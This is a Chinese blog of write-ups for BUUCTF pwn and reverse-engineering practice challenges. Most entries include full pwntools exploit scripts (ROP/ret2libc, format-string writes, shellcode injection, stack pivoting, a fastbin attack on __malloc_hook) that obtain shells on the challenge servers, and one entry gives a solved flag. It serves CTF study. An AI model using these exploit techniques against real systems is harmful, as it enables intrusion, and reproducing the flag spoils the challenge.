胖胖
- pwn1_sctf_2016
- ciscn_2019_n_11
- jarvisoj_level0
- ciscn_2019_c_1
- babyrop
- [第五空间2019 决赛]PWN5
- get_started_3dsctf_2016
- ciscn_2019_en_2
- 刮开有奖
- ciscn_2019_n_8
- not_the_same_3dsctf_2016
- bjdctf_2020_babystack
- [HarekazeCTF2019]baby_rop
- jarvisoj_level2_x64
- ciscn_2019_n_5
- ciscn_2019_ne_5
- others_shellcode
- 铁人三项(第五赛区)_2018_rop
- bjdctf_2020_babyrop
- babyheap_0ctf_2017(堆,fastbin_attack)
- pwn2_sctf_2016
- jarvisoj_fm
- ciscn_2019_s_3
- bjdctf_2020_babystack2
- [HarekazeCTF2019]baby_rop2
- ciscn_2019_es_2
- jarvisoj_tell_me_something
- jarvisoj_level3
- ez_pz_hackover_2016
实践是检验真理的唯一标准。
pwn1_sctf_2016
1.找到漏洞的利用点往往才是困难点。(直接F5看看反汇编)
发现两个可以函数跟进去看看
2.这里对反汇编出来的Vuln理解了半天(本还想从汇编直接分析,不过进展收获不大,欢迎有兴趣的朋友一起交流),下面还是从伪代码分析。
通过这几行能看出最后A变成了B。即把YOU 换成了I。
因为上面是S的溢出点是3C,可fgets之读取了32并不会超过3C,但函数会把一个32个I换成32个YOU就达到了溢出点。
3.ret位置
4.分析结束。2021.4.2
ciscn_2019_n_11
1.找利用点
11.28125对应内存中16进制两种查看方法。
一,
二,明显的if…else反汇编代码
CS:DWORD 4007F4即比较内容11.28125在内存中十六进制的存放
补充movss /ucomiss
movss相关的引入:
SSE – Streaming SIMD Extension,是Intel从PIII开始加入的一种x86扩展指令集。在SSE以前,x86的浮点运算都是以栈式FPU完成的,有一定x86汇编经验的人应该不会对那些复杂的fld、fst指令陌生吧。而SSE一方面让浮点运算可以像整数运算的模式、如 add eax , ebx 那样通过直接访问寄存器完成,绕开了讨厌的栈,另一方面引入了SIMD这个概念。SIMD – Single Instruction Multiply Data,顾名思义,它可以同时让一条指令在多个数据上执行,这种体系结构在一度在大型机上非常流行,需要经常进行海量运算的大型机器通常会通过一个数学SIMD虚拟机加快处理速度,比如同时让一组数据执行一个变换,数据的规模有上百万之巨,而SIMD则可以优化数据的存储与运算,减免某些切换Context的开销。
- movss单精度赋值,movsd双精度赋值,而且不再是st0, st1,…,而是XMM0-XMM7。
扩展参考:
寄存器介绍
汇编浮点指令fld、fstp - ucomiss
SSE扩展
参考应该都在intel Ⅲ里面,想详细了解的可自行查看手册。
2.溢出距离
3.完。2021.4.3
jarvisoj_level0
1.溢出栈空间
2.ret函数
from pwn import *
sh = remote('node3.buuoj.cn',29622)
payload = b'a'* 0x80 + p64(0xdeadbeef) + p64(0x400596)
sh.send(payload)
sh.interactive()
3.完。2021.4.4
ciscn_2019_c_1
1.先看看程序运行过程
2.没有已存在的可直接获得bash的函数
3.64位调用传参顺序
寄存器rdi,rsi,rdx,rcd,r8,r9。
4.泄露puts函数,通过libc构造system系统调用。
6.exp
from pwn import *
from LibcSearcher import *
content = 0
context(os='linux', arch='amd64', log_level='debug')
ret = 0x4006b9 #靶机是ubuntu,所以需要栈平衡
elf = ELF('./demo2')
puts_plt = elf.plt["puts"]
puts_got = elf.got['puts']
main_addr = elf.symbols["main"]
pop_rdi_ret = 0x400c83 #×64程序基本都存在的一个地址pop rdi;ret
def main():
if content == 1:
p = process('demo2')
else:
p = remote('node3.buuoj.cn',27986)
payload = b'a' * (0x50 + 8)
payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter('Input your choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted\n', payload)
p.recvuntil('Ciphertext\n')
p.recvline()
puts_addr = u64(p.recv(7)[:-1].ljust(8,b'\x00'))
print(puts_addr) #找出puts的地址
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts') #找出函数地址偏移量
system_addr = libc_base + libc.dump('system') #计算出system的在程序中的地址
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = b'a' * (0x50 + 8)
payload = payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
p.sendlineafter('Input your choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted\n', payload)
p.interactive()
main()
7.环境问题flag不知道怎么没出来(地址已经泄露出来了)。有知道怎么解决的教教孩子吧!!
8.补充:
exp里面指定libc ,加上libc = ELF(’./libc.xxx’)获得flag成功。
完。2021/4/5-6
babyrop
1.流程分析
2.找到溢出点
3.绕过比较
4.exp
from pwn import *
from LibcSearcher import *
#p = process('./pwn')
elf=ELF('./pwn')
p = remote('node3.buuoj.cn',27069)
libc = ELF('./libc-2.23.so') //指定libc
put_plt=elf.plt['puts']
put_got=elf.got['puts']
main_addr=0x8048825
payload='\x00'+'a'*6+'\xff' //关键绕过
p.sendline(payload)
p.recvuntil('Correct\n')
payload1 = 'a'*0xe7+'a'*4+p32(put_plt)+p32(main_addr)+p32(put_got)
p.sendline(payload1)
put_addr = u32(p.recv(4))
print hex(put_addr)
libc=LibcSearcher('puts',put_addr)
libc_base=put_addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')
p.sendline(payload)
p.recvuntil('Correct\n')
payload2='a'*0xe7+'b'*0x4
payload2 += p32(system_addr)*2+p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()
[第五空间2019 决赛]PWN5
1.IDA查看
2.熟悉流程
3.
from pwn import *
#p = process('./pwn5')
p = remote('node3.buuoj.cn',25392)
payload = p32(0x804c044)+ b'%10$n'
p.recvuntil('your name:')
p.sendline(payload)
p.recvuntil('passwd:')
p.sendline(b'4')
p.interactive()
get_started_3dsctf_2016
2.
3.参考
三种EXP方法
ciscn_2019_en_2
请参考ciscn_2019_c_1,完全一样。
刮开有奖
它没让我刮开,hhh。
1.2.
放到C里面跑下,得出新值
3CEHJNSZagn
即V7后面的10个数
base64标志
4.逆推得出flag
str[0] = ‘3’+34=‘U’
str[1] =‘J’
str[2] = ‘W’
str[3] = ‘P’
总过flag8位
得出
flag{UJWP1jMp}
ciscn_2019_n_8
1.基操
2.QWORD 8字节
3.exp
from pwn import *
sh = remote('node3.buuoj.cn',28951)
#sh = process('./cisn8')
payload = b'a'*13*4 + p64(0x11) #0x11=17
sh.sendline(payload)
sh.interactive()
not_the_same_3dsctf_2016
1.IDA找到了相关flag函数
2.利用mprotect函数mprotect函数详解
exp如下:
from pwn import *
#p=process('./pwn')
elf=ELF('./not')
p=remote('node3.buuoj.cn',25316)
mprotect_addr=elf.sym["mprotect"]
read_plt=elf.sym["read"]
pop_3_ret=0x0809e3e5
pop_ret=0x08048b0b
m_start=0x080ec000
bss= 0x80ECA2D
len=0x2000
prot=7
payload_1="a"*45+p32(mprotect_addr)+p32(pop_3_ret)+p32(m_start)+p32(len)+p32(prot)
payload_1+=p32(read_plt)+p32(bss+0x400)+p32(0)+p32(bss+0x400)+p32(0x100)
p.sendline(payload_1)
payload_2=asm(shellcraft.sh(),arch = 'i386', os = 'linux')
p.sendline(payload_2)
bjdctf_2020_babystack
from pwn import *
#p=process('./bjd')
p=remote('node3.buuoj.cn',28431)
sys_addr=0x4006E6
payload='a'*24+p64(sys_addr)
p.recvuntil("Please input the length of your name:")
p.sendline(str(len(payload)))
p.recvuntil("What's u name?")
p.sendline(payload)
p.interactive()
[HarekazeCTF2019]baby_rop
from pwn import *
from LibcSearcher import LibcSearcher
#p=process('./babyrop2')
p=remote('node3.buuoj.cn',25002)
elf=ELF('./babyrop2')
read_got=elf.got['read']
printf_plt=elf.plt['printf']
main_addr=elf.sym['main']
format_addr=0x400770
payload='a'*40+p64(0x400733)+p64(format_addr)+p64(0x400731)+p64(read_got)+p64(0)
payload+=p64(printf_plt)+p64(main_addr)
p.sendlineafter("name?",payload)
p.recvuntil('!\n')
read_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc=LibcSearcher("read",read_addr)
libc_base=read_addr-libc.dump('read')
sys_addr=libc_base+libc.dump("system")
binsh_addr=libc_base+libc.dump("str_bin_sh")
payload2='a'*40+p64(0x400733)+p64(binsh_addr)+p64(sys_addr)+p64(0)
p.sendline(payload2)
p.interactive()
jarvisoj_level2_x64
1,IDA F5
2,搜索SHIFT+F12字符串
3,溢出点
4,构造payload(64位传参方式)
5.exp
from pwn import *
p = remote("node4.buuoj.cn",25087)
sys_addr = 0x40063E
bin_sh = 0x600A90
pop_edi_ret =0x4006b3
payload = 0x88*'a'+p64(pop_edi_ret) + p64(bin_sh) + p64(sys_addr)
p.sendline(payload)
p.interactive()
ciscn_2019_n_5
1,查看文件
2,IDA查看
两次输入,read,gets获取用户输入。
3,name在bss段,gets控制流程跳转值read输入的shellcode。
text离ret偏移0x28。
4,exp(标准模板样式)
from pwn import *
from LibcSearcher import *
local_file = './ciscn_2019_n_5'
local_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
remote_libc = './libc.so.6'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node4.buuoj.cn', 28983)
#libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
sh = asm(shellcraft.sh())
p1 = sh
sla('name\n', p1)
name_addr = 0x601080
p2 = flat(['a'*0x28, name_addr])
sla('me?\n', p2)
r.interactive()
ciscn_2019_ne_5
1,标配查看文件
2,IDA/运行
溢出位置
src来源(128字节)
3,找bin_sh有sh也行。
ROPgadget --binary ciscn_2019_ne_5 --string "sh"
4.exp
from pwn import *
r=remote('node4.buuoj.cn',29028)
sh = 0x080482ea
system=0x080484d0
r.sendlineafter('password:','administrator')
r.sendlineafter(':','1') //写入payload
payload = 'a'*0x48 +p32(0xdeadbeef)+p32(system)+p32(0xdeadbeef)+p32(sh)
r.sendlineafter('info',payload)
r.sendlineafter(':','4')
r.interactive()
others_shellcode
nc 就有…
铁人三项(第五赛区)_2018_rop
1,直接进IDA,一道典型ret2libc题(思路简单,不过LibcSearcher不太好用,这里介绍利用pwntools的DynELF)
无system,binsh。
有write和溢出的位置。
2.exp
from pwn import *
r=remote('node4.buuoj.cn',26124)
e=ELF('./2018_rop')
write_plt=e.plt['write']
read_plt=e.plt['read']
main_addr=e.symbols['main']
bss_addr=e.symbols['__bss_start']
def leak(address):
payload1='a'*(0x88+0x4)+p32(write_plt)+p32(main_addr)+p32(0x1)+p32(address)+p32(0x4)
r.sendline(payload1)
leak_address=r.recv(4)
return leak_address
d=DynELF(leak,elf=ELF('./2018_rop')) //pwntool自带
sys_addr=d.lookup('system','libc')
payload2='a'*(0x88+0x4)+p32(read_plt)+p32(main_addr)+p32(0x0)+p32(bss_addr)+p32(0x8)
r.sendline(payload2)
r.sendline('/bin/sh')
payload3='a'*(0x88+0x4)+p32(sys_addr)+p32(main_addr)+p32(bss_addr)
r.sendline(payload3)
题外话:假如手动调试,暴露出got,然后得出libcbase的后三位要是000才是正确的基址(页对齐)。
bjdctf_2020_babyrop
1,还是一道rop的题目,思路同上,IDA里面没有可直接利用的system等。
可溢出的点
2,64位的软件,传参不同,ROPgadget找pop rid,构造exp如下
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
r=remote('node4.buuoj.cn',26505)
#r=process('./babyrop')
elf=ELF('./babyrop')
main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400733
payload='a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()
puts_addr=u64(r.recv(6).ljust(8,'\x00'))
print hex(puts_addr)
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
payload2='a'*40+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload2)
r.interactive()
本想用pwntools的DynELF模块做的,没成功,有知道的大师傅,可以交流交流。(已了解到的好像是PUTS会被00截断导致模块利用不成功)
babyheap_0ctf_2017(堆,fastbin_attack)
1,运行一遍,基本的堆题流程。
2,分析关键代码(等会我们调试时在内存中查看):
分配的大小不能超过 4096 字节
- *(24LL * i + a1):置 1 表示 chunk 已经创建
- *(a1 + 24LL * i + 8):存储 chunk 的大小
- *(a1 + 24LL * i + 16):存储 chunk 的地址
利用思路:
两次 double free 与 fastbin attack 。第一次先泄露 libc 地址,然后找到构造 fack chunk 的地址。第二次通过构造的 fack chunk 堆溢出覆写 __malloc_hook 完成 get shell 。
泄露原理:
unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ,所以得到这个fd的值,然后减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小,这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。
清楚理解:free chunk 和 allocated chunk时候。(两个chunk同一个地址,不同状态部分区域表示不同)
3,调试分析
3.1查看堆空间chunk结构
可以看出0x5628…10/30/50等是上述 *(a1 + 24LL * i + 16):存储 chunk 的地址
,利用gdb中的find
去查看相关mapped,并查看内存地址处内容。
发现正好对应allocated chunk的结构处地址。(这里也正是利用处,进行篡改内容)
3.2,同过free()使fastbin[]获得内容回收,然后fill()改变指针指向
再看一看这地址:
注意:
每次这mapped的映射地址会变,但内容结构还是
- *(24LL * i + a1):置 1 表示 chunk 已经创建
- *(a1 + 24LL * i + 8):存储 chunk 的大小
- *(a1 + 24LL * i + 16):存储 chunk 的地址
通过fill()进行修改*(a1 + 24LL * i + 16)处存的内容,即mem指向
处,达到通过fill()改变chunk的结构中的内容。
3.3修改内容
此时的fastbin[0]->index2->index4
跟预测的一样,这里3
和p8
通过结构的布局应该很容易理解了。
3.4把 chunk 2 的内容覆盖为 chunk 4 的地址,这样相当于 chunk 4 已经被 free 了而且被存放在 fastbin 中。(当chunk 4 被free了依然能通过chunk2 对 chunk4操作)。
简单理解:
当前chunk2和chunk4指向同一个位置
注:
这里还有个检查机制,要 malloc 回 chunk 4(重新fill()函数对chunk4大小内容修改,使其free()进unsort) ,可是 malloc fastbin 有检查, chunksize 必须与相应的 fastbin_index 匹配,所以我们覆盖 chunk 4 的 size 为 fastbin 大小。
3.5后面就是利用泄露出来的libc,同时一样控制修改流程,实现系统调用了。
目标是覆盖 __malloc_hook 函数,这样我们调用 malloc 时就相当于调用我们写入的内容。
后面可以参考(修改方式跟上面一样的):
https://www.cnblogs.com/luoleqi/p/12349714.html
下面这位置偏移就纯靠经验积累了(还是构造出上面结构:)
- *(24LL * i + a1):置 1 表示 chunk 已经创建
- *(a1 + 24LL * i + 8):存储 chunk 的大小
- *(a1 + 24LL * i + 16):存储 chunk 的地址
然后,把 chunk 4 malloc 回来,这次 malloc 的大小在 fastbin 之内,然后把 chunk 4 的内容改为我们下一个要构造块的地址(chunk 4 已经被 free 掉,所以无法用 fill(4) 写入,由于我们刚刚把 chunk 2 的 fd 指针改为 chunk 4 的地址,所以第一次 malloc(0x10) 的时候是分配的原来 chunk 2 的块给 index 1,第二次 malloc(0x10) 的时候就会分配 chunk 4 的块给 index 2,也就是说 index 2 与 index 4 的内容都是 chunk 4)。
在 __malloc_hook 地址处写入 one_gadget ,这样再次 allocate 就可以调用 one_gadget 拿 shell(相当于指针函数去实现调用)
注:
malloc_hook 是一个libc上的函数指针,调用malloc时如果该指针不为空则执行它指向的函数,可以通过写malloc_hook来getshell
4,完整exp
from pwn import *
#p=remote('node4.buuoj.cn',29926)
p=process('./babyheap_0ctf_2017')
def allocate(size):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))
def fill(idx,content):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(len(content)))
p.recvuntil('Content: ')
p.send(content)
def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(idx))
def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvline()
return p.recvline()
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
#gdb.attach(p)
free(1)
free(2)
#gdb.attach(p)
payload = p64(0) * 3
payload += p64(0x21)
payload += p64(0) * 3
payload += p64(0x21)
payload += p8(0x80)
fill(0,payload)
#gdb.attach(p)
payload = p64(0) * 3
payload += p64(0x21)
fill(3,payload)
#gdb.attach(p)
allocate(0x10)
allocate(0x10)
fill(1,'aaaa')
fill(2,'bbbb')
payload = p64(0) * 3
payload += p64(0x91)
fill(3,payload)
allocate(0x80)
free(4)
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))
allocate(0x60)
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
allocate(0x60)
allocate(0x60)
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)
gdb.attach(p)
allocate(255)
p.interactive()
pwn2_sctf_2016
1,int转unsigned int 大数变小数导致溢出
接收的输入是int,而下面判断的长度是unsigned int。
2,溢出位置
3,exp
from pwn import *
from LibcSearcher import *
r = remote("node4.buuoj.cn", 27654)
#r = process("./pwn2_sctf_2016")
elf = ELF("./pwn2_sctf_2016")
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main = 0x080485B8
print r.recvuntil("How many bytes do you want me to read? ")
r.sendline('-1')
print r.recvuntil('\n')
payload = 'a' * 0x30 + p32(printf_plt) + p32(main) + p32(printf_got)
r.sendline(payload)
print r.recvuntil('\n')
printf_addr = u32(r.recv(4))
print "printf:", hex(printf_addr)
libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
print "system:", hex(system)
print "bin_sh", hex(bin_sh)
print r.recvuntil("How many bytes do you want me to read? ")
r.sendline('-1')
print r.recvuntil('\n')
payload = 'a' * 0x30 + p32(system) + p32(main) + p32(bin_sh)
r.sendline(payload)
r.interactive()
1,0-1 顶端
jarvisoj_fm
1,格式化字符串利用,实现内存写入。
2,x == 4即可进入system调用。
实际运行X的值是3:
3,确认输入参数格式化字符串
的位置,需要利用此处重新填入修改x的地址(即0x0804A02C)。
确认方法:
输入:aaaa%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
回显:
然后,数0x61616161是第几个0x位置。 得出是11。
注:
aaaa即你要魔改的地方,填入x的位置的地址,然后利用%n的功能,修改此处的值。
4,exp
from pwn import *
p = remote("node4.buuoj.cn",28781)
x_addr=0x0804A02C
print hex(x_addr)
payload = p32(x_addr) + '%11$n' #p32()得出的4字节大小被写入p32(x_addr)地址,也就是确定0x61616161位置的原因。
p.sendline(payload)
p.interactive()
ciscn_2019_s_3
1,一道__libc_csu_init辅助构造ROP。(也可以用SROP方法)
需要利用的位置。
2,两个可以利用的系统调用号。
-
15 sys_rt_sigreturn
-
59 sys_execve(两者选一个利用便可)
3,构造思路(这题是x64的传参方式)xor rax , rax --------------->将rax寄存器里的值设置为了0(任何一个数异或它本身都等于0) mov edx , 400h ------------->将edx寄存器的值设置为了0x400 lea rsi , [rsp+buf] ----------->将buf参数的地址传入寄存器rsi mov rdi ,rax --------------->将rax寄存器里的值(0)传入rdi寄存器(将rdi设置为0) syscall------------------------->进行系统调用
4,利用write会泄露栈上的地址,我们需要根据泄露的地址来参考构造缓存区buff的偏移地址。(关键)
gdb调试技巧:
- 首先必须清楚内存数据布局:
局部变量往高
地址输入
和打印输出
- pwndbg stack查看rsp上面的栈分布:
pwndbg的stack指令直接看到的就是rsp下面的栈分布,这个时候应该怎么办呢?以前学过用pwndbg给地址和寄存器赋值,代码是:
Set *addr = value //给地址赋值
Set $rsp = value //给寄存器赋值
1>gdb 断在0x400519位置处
2>此时栈顶rsp是write调用完,未指向buff的地址处。
利用小技巧,向上查看栈数据:
发现我们输入的aaaa出现,惊不惊喜,意不意外,哈哈哈其实都在预料之内。
0x7fffffffdcd0即为buff[]起始地址位置。
出现了两个栈上地址。
排除0x7fffffffdd00,原因:
内存数据布局,往高地址输出,0x7fffffffdd00<0x7fffffffdcd0(buff起始地址)。
得出偏移 = 0x7fffffffdde8 - 0x7fffffffdcd0 = 0x118
为什么需要知道这个offset呢?
通过动态获取的buff起始地址在别的环境可能会由于随机化问题发生变法,但是offset是固定不变的。
5,exp
from pwn import *
#p=process('./ciscn_s_3')
p=remote('node4.buuoj.cn',28377 )
context.log_level = 'debug'
vlu=0x0004004ED
execv=0x04004E2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdxr13_call=0x0400580
syscall=0x00400517
payload='/bin/sh\x00'*2+p64(vlu)
p.send(payload)
#gdb.attach(p)
p.recv(0x20) #接收write前0x20个字节
sh=u64(p.recv(8))-280 #接收leak地址,通过offset得出buff起始地址
print(hex(sh))
pl2='/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(sh+0x58) + p64(0) *3
pl2+=p64(mov_rdxr13_call)+p64(execv) #sh+0x58 下附说明
pl2+=p64(pop_rdi)+p64(sh)+p64(syscall)
p.send(pl2)
p.interactive()
说明:
bjdctf_2020_babystack2
思路:整型溢出
qword -> dword + 栈溢出
1,IDA分析
执行程序可获知if判断:
system可利用:
2,exp
from pwn import *
#p = process('./bjdctf_2020_babystack2')
p = remote("node4.buuoj.cn",26101)
context.log_level='debug'
system = 0x0400726
p.recv()
p.sendline('-1')
p.recv()
payload = 'a'*0x10 + 'bbbbbbbb' + p64(system)
p.send(payload)
p.interactive()
[HarekazeCTF2019]baby_rop2
栈溢出
+泄露libc地址调用system
1,64位程序,IDA分析
2,寻找64位传参rdi,rsi寄存器,构造rop链。
选取下面这两个位置的:
3,泄露read_got的地址。
然后再次构造payload 调用system(bin_sh)。
4,exp
from pwn import *
from LibcSearcher import *
context_debug_level = 'debug'
r = remote("node4.buuoj.cn", 28443)
#r = process("./babyrop2")
elf = ELF("./babyrop2")
#libc = ELF("./libc.so.6")
printf_plt = elf.plt['printf']
read_got = elf.got['read']
main = elf.sym['main']
pop_rdi_ret = 0x400733
pop_rsi_r15_ret = 0x400731
frm_str = 0x400770
payload = 'a'*0x28 + p64(pop_rdi_ret) + p64(frm_str) + p64(pop_rsi_r15_ret) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main)
print r.recvuntil("name? ")
r.sendline(payload)
read_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(read_addr)
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
print "system:", hex(system)
print "bin_sh", hex(bin_sh)
payload = 'a' * 0x28 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
r.sendline(payload)
r.interactive()
注解:
read_addr = u64(r.recvuntil(’\x7f’)[-6:].ljust(8,’\x00’))
直到7f出现的位置作为终点,开始往前读6个字节数据,然后再8字节对齐,不足8位补\x00。
ciscn_2019_es_2
栈迁移考察
https://www.cnblogs.com/remon535/p/13507217.html
注:
1、read大小为0x30,s变量和ebp距离为0x28。只能覆盖ebp和ret,但是覆盖不到需要构造的/bin/sh参数
,所以实际需要0x30+8。
其中多需要的8=deadbeef(填充的ret) + arg(/bin/sh)
2、首先利用printf获取上个栈帧的ebp。printf遇到00就会截断,把00填充了,printf就会顺便把ebp及遇到00前的数据都打印出来。
3、0x48-0x10等于s距ebp的偏移0x38
4、payload2=‘a’*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh"。
p32(ebp-0x28)+"/bin/sh"
p32(ebp-0x28):本来是/bin/sh的地址,但是程序中没有/bin/sh字符串存在,所以需要指向 ebp-0x28 =s的地址,后面就是输入的"/bin/sh"了。
jarvisoj_tell_me_something
注意下函数首部的代码与常见的方法不同,说到底还是多看汇编,少F5。
https://www.cnblogs.com/bhxdn/p/12307105.html
jarvisoj_level3
ret2libc3 无system,无binsh
https://www.cnblogs.com/yisicanmeng/articles/14579554.html
ez_pz_hackover_2016
ret2shellcode(没有任何写保护,具有可执行权限)
https://blog.csdn.net/mcmuyanga/article/details/108964698
1,绕过strcmp()
2,
0x38-0x22=0x16
‘a’*(0x16-8+4)
gdb动态调一下,IDA不准
3,
p32(stack-0x1c)